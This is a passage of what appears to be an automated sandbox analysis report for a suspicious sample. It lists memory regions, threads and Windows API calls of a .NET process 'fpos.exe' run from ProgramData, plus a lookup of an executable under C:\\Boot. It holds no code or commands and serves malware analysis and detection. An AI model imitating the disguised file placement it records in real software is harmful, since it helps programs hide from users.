= 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 10365 start_va = 0x730000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 10366 start_va = 0x730000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 10367 start_va = 0x730000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 10368 start_va = 0x740000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 10421 start_va = 0x930000 end_va = 0x93ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 10422 start_va = 0x940000 end_va = 0x94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 10452 start_va = 0x730000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 10467 start_va = 0x730000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 10490 start_va = 0x730000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 10502 start_va = 0x730000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 10503 start_va = 0x730000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Thread: id = 346 os_tid = 0x660 [0225.363] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0243.237] EtwEventRegister (in: ProviderId=0x2345810, EnableCallback=0x1aec135c, CallbackContext=0x0, RegHandle=0x23457f0 | out: RegHandle=0x23457f0) returned 0x0 [0244.679] EtwEventRegister (in: ProviderId=0x2349f80, EnableCallback=0x1aec13ac, CallbackContext=0x0, RegHandle=0x2349f60 | out: RegHandle=0x2349f60) returned 0x0 [0246.440] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x234990*=0xd8, lpdwindex=0x14e3f4 | out: lpdwindex=0x14e3f4) returned 0x0 [0248.331] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x234990*=0xd8, lpdwindex=0x14e3f4 | out: lpdwindex=0x14e3f4) returned 0x0 [0267.639] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1a6e5d90*=0x24, lpdwindex=0x14e0e4 | out: lpdwindex=0x14e0e4) returned 0x0 [0267.976] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x234990*=0xd8, lpdwindex=0x14e3f4) Thread: id = 402 os_tid = 0x530 Thread: id = 405 os_tid = 0x574 [0227.558] CoGetContextToken (in: pToken=0xcffa40 | out: pToken=0xcffa40) returned 0x800401f0 [0227.559] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 407 os_tid = 0x35c Thread: id = 459 os_tid = 0x86c [0245.697] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0245.698] CoGetContextToken (in: pToken=0x1b1bf570 | out: pToken=0x1b1bf570) returned 0x0 [0245.698] CObjectContext::QueryInterface () returned 0x0 [0245.698] CObjectContext::GetCurrentThreadType () returned 0x0 [0245.698] Release () returned 0x0 [0245.698] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0245.700] CoUninitialize () [0258.719] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b1bd9a8 | out: phkResult=0x1b1bd9a8*=0x0) returned 0x2 [0258.719] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0258.726] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU\\bitkinex.exe", nBufferLength=0x105, lpBuffer=0x1b1be4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU\\bitkinex.exe", lpFilePart=0x0) returned 0x1a Thread: id = 460 os_tid = 0x870 Thread: id = 487 os_tid = 0x8dc Thread: id = 518 os_tid = 0x960 Thread: id = 519 os_tid = 0x964 Thread: id = 532 os_tid = 0x998 [0248.657] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0248.658] CoGetContextToken (in: pToken=0x1b7afa50 | out: pToken=0x1b7afa50) returned 0x0 [0248.658] CObjectContext::QueryInterface () returned 0x0 [0248.658] CObjectContext::GetCurrentThreadType () returned 0x0 [0248.658] Release () returned 0x0 [0248.658] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0248.658] CoUninitialize () Thread: id = 553 os_tid = 0x9f4 Process: id = "88" image_name = "fpos.exe" filename = "c:\\users\\all users\\application data\\fpos.exe" page_root = "0x7822a000" os_pid = "0x664" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4d8" cmd_line = "\"C:\\Users\\All Users\\Application Data\\fpos.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fea5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7313 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7314 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7315 start_va = 0x150000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 7316 start_va = 0xed0000 end_va = 0xfa7fff monitored = 1 entry_point = 0xf9f1ee region_type = mapped_file name = "fpos.exe" filename = "\\ProgramData\\fpos.exe" (normalized: "c:\\programdata\\fpos.exe") Region: id = 7317 start_va = 0x77810000 end_va = 0x779b8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7318 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7319 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7320 start_va = 0x7feffb30000 end_va = 0x7feffb30fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7321 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7322 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 7323 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 7324 start_va = 0x250000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 7325 start_va = 0x7fefa8a0000 end_va = 0x7fefa90efff monitored = 1 entry_point = 0x7fefa8a1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7326 start_va = 0x775f0000 end_va = 0x7770efff monitored = 0 entry_point = 0x77605340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7327 start_va = 0x7fefd810000 end_va = 0x7fefd87bfff monitored = 0 entry_point = 0x7fefd812780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7433 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7434 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7435 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7454 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7455 start_va = 0x250000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 7456 start_va = 0x3a0000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 7457 start_va = 0x420000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 7458 start_va = 0x520000 end_va = 0x77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 7624 start_va = 0x7fefe4d0000 end_va = 0x7fefe5aafff monitored = 0 entry_point = 0x7fefe4f0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7625 start_va = 0x7fefdb30000 end_va = 0x7fefdbcefff monitored = 0 entry_point = 0x7fefdb325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7626 start_va = 0x7feffa50000 end_va = 0x7feffa6efff monitored = 0 entry_point = 0x7feffa560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7627 start_va = 0x7fefe3a0000 end_va = 0x7fefe4ccfff monitored = 0 entry_point = 0x7fefe3eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7628 start_va = 0x520000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 7629 start_va = 0x700000 end_va = 0x77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 7630 start_va = 0x520000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 7631 start_va = 0x630000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 7632 start_va = 0x7fef7fc0000 end_va = 0x7fef8068fff monitored = 1 entry_point = 0x7fef7fc1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7818 start_va = 0x7fefa890000 end_va = 0x7fefa892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7873 start_va = 0x7fefdef0000 end_va = 0x7fefdf60fff monitored = 0 entry_point = 0x7fefdf01e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7874 start_va = 0x7fefdce0000 end_va = 0x7fefdd46fff monitored = 0 entry_point = 0x7fefdceb03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7875 start_va = 0x77710000 end_va = 0x77809fff monitored = 0 entry_point = 0x7772a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7876 start_va = 0x7feffa70000 end_va = 0x7feffa7dfff monitored = 0 entry_point = 0x7feffa71080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7877 start_va = 0x7feff340000 end_va = 0x7feff408fff monitored = 0 entry_point = 0x7feff3ba874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7898 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7899 start_va = 0x780000 end_va = 0x907fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 7900 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7901 start_va = 0x7fefdcb0000 end_va = 0x7fefdcddfff monitored = 0 entry_point = 0x7fefdcb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7902 start_va = 0x7feff410000 end_va = 0x7feff518fff monitored = 0 entry_point = 0x7feff411064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8089 start_va = 0x910000 end_va = 0xa90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000910000" filename = "" Region: id = 8090 start_va = 0xfb0000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000fb0000" filename = "" Region: id = 8091 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 8092 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 8248 start_va = 0x250000 end_va = 0x320fff monitored = 1 entry_point = 0x31f1ee region_type = mapped_file name = "fpos.exe" filename = "\\ProgramData\\fpos.exe" (normalized: "c:\\programdata\\fpos.exe") Region: id = 8249 start_va = 0x340000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 8250 start_va = 0x250000 end_va = 0x320fff monitored = 1 entry_point = 0x31f1ee region_type = mapped_file name = "fpos.exe" filename = "\\ProgramData\\fpos.exe" (normalized: "c:\\programdata\\fpos.exe") Region: id = 8251 start_va = 0x7fefc920000 end_va = 0x7fefc92bfff monitored = 0 entry_point = 0x7fefc921064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8286 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8299 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8414 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8446 start_va = 0x7fef3f00000 end_va = 0x7fef3f15fff monitored = 0 entry_point = 0x7fef3f0c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8447 start_va = 0x7fef3e40000 end_va = 0x7fef3efcfff monitored = 0 entry_point = 0x7fef3ec7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8473 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 8474 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 8475 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 8476 start_va = 0x7fe948d0000 end_va = 0x7fe948dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948d0000" filename = "" Region: id = 8477 start_va = 0x7fe948e0000 end_va = 0x7fe948effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948e0000" filename = "" Region: id = 8478 start_va = 0x7fe948f0000 end_va = 0x7fe9497ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948f0000" filename = "" Region: id = 8479 start_va = 0x7fe94980000 end_va = 0x7fe949effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94980000" filename = "" Region: id = 8536 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 8537 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 8538 start_va = 0xaa0000 end_va = 0xbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 8539 start_va = 0xbd0000 end_va = 0xdeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 8540 start_va = 0xc70000 end_va = 0xd6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c70000" filename = "" Region: id = 8541 start_va = 0xd70000 end_va = 0xdeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d70000" filename = "" Region: id = 8542 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 8543 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 8544 start_va = 0x23b0000 end_va = 0x1a3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 8619 start_va = 0x1a3b0000 end_va = 0x1a72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a3b0000" filename = "" Region: id = 8620 start_va = 0x1a730000 end_va = 0x1a830fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a730000" filename = "" Region: id = 8621 start_va = 0x1a8e0000 end_va = 0x1a9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8e0000" filename = "" Region: id = 8622 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 8655 start_va = 0x1aa80000 end_va = 0x1ab7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa80000" filename = "" Region: id = 8656 start_va = 0x1ab80000 end_va = 0x1ac7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ab80000" filename = "" Region: id = 8657 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 8707 start_va = 0x1ac80000 end_va = 0x1af4efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8724 start_va = 0x7fef2840000 end_va = 0x7fef3e3cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8777 start_va = 0x7fefe060000 end_va = 0x7fefe262fff monitored = 0 entry_point = 0x7fefe083330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8778 start_va = 0x250000 end_va = 0x2ccfff monitored = 0 entry_point = 0x25cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8779 start_va = 0x250000 end_va = 0x2ccfff monitored = 0 entry_point = 0x25cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8780 start_va = 0x7fefd690000 end_va = 0x7fefd69efff monitored = 0 entry_point = 0x7fefd691010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8781 start_va = 0x7fefc0b0000 end_va = 0x7fefc105fff monitored = 0 entry_point = 0x7fefc0bbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8782 start_va = 0x1af50000 end_va = 0x1b05ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af50000" filename = "" Region: id = 8787 start_va = 0x250000 end_va = 0x32efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 8873 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8874 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8875 start_va = 0x7fe949f0000 end_va = 0x7fe94a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949f0000" filename = "" Region: id = 8884 start_va = 0x7fe94a70000 end_va = 0x7fe94a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a70000" filename = "" Region: id = 8885 start_va = 0x7fe94a80000 end_va = 0x7fe94a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a80000" filename = "" Region: id = 8912 start_va = 0x7fef7460000 end_va = 0x7fef7462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8913 start_va = 0x7fef5450000 end_va = 0x7fef559efff monitored = 1 entry_point = 0x7fef5451090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8956 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 8999 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9000 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9001 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9016 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9031 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9046 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9050 start_va = 0x1b060000 end_va = 0x1b1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b060000" filename = "" Region: id = 9065 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9104 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9105 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9106 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 9141 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9142 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9163 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9178 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9191 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9209 start_va = 0x640000 end_va = 0x6a1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9266 start_va = 0xe80000 end_va = 0xebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e80000" filename = "" Region: id = 9267 start_va = 0x1b270000 end_va = 0x1b36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 9268 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 9269 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 9352 start_va = 0x1b520000 end_va = 0x1b61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b520000" filename = "" Region: id = 9353 start_va = 0x7fefd070000 end_va = 0x7fefd087fff monitored = 0 entry_point = 0x7fefd073b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9354 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9355 start_va = 0x350000 end_va = 0x394fff monitored = 0 entry_point = 0x351064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9356 start_va = 0x350000 end_va = 0x394fff monitored = 0 entry_point = 0x351064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9357 start_va = 0x350000 end_va = 0x394fff monitored = 0 entry_point = 0x351064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") 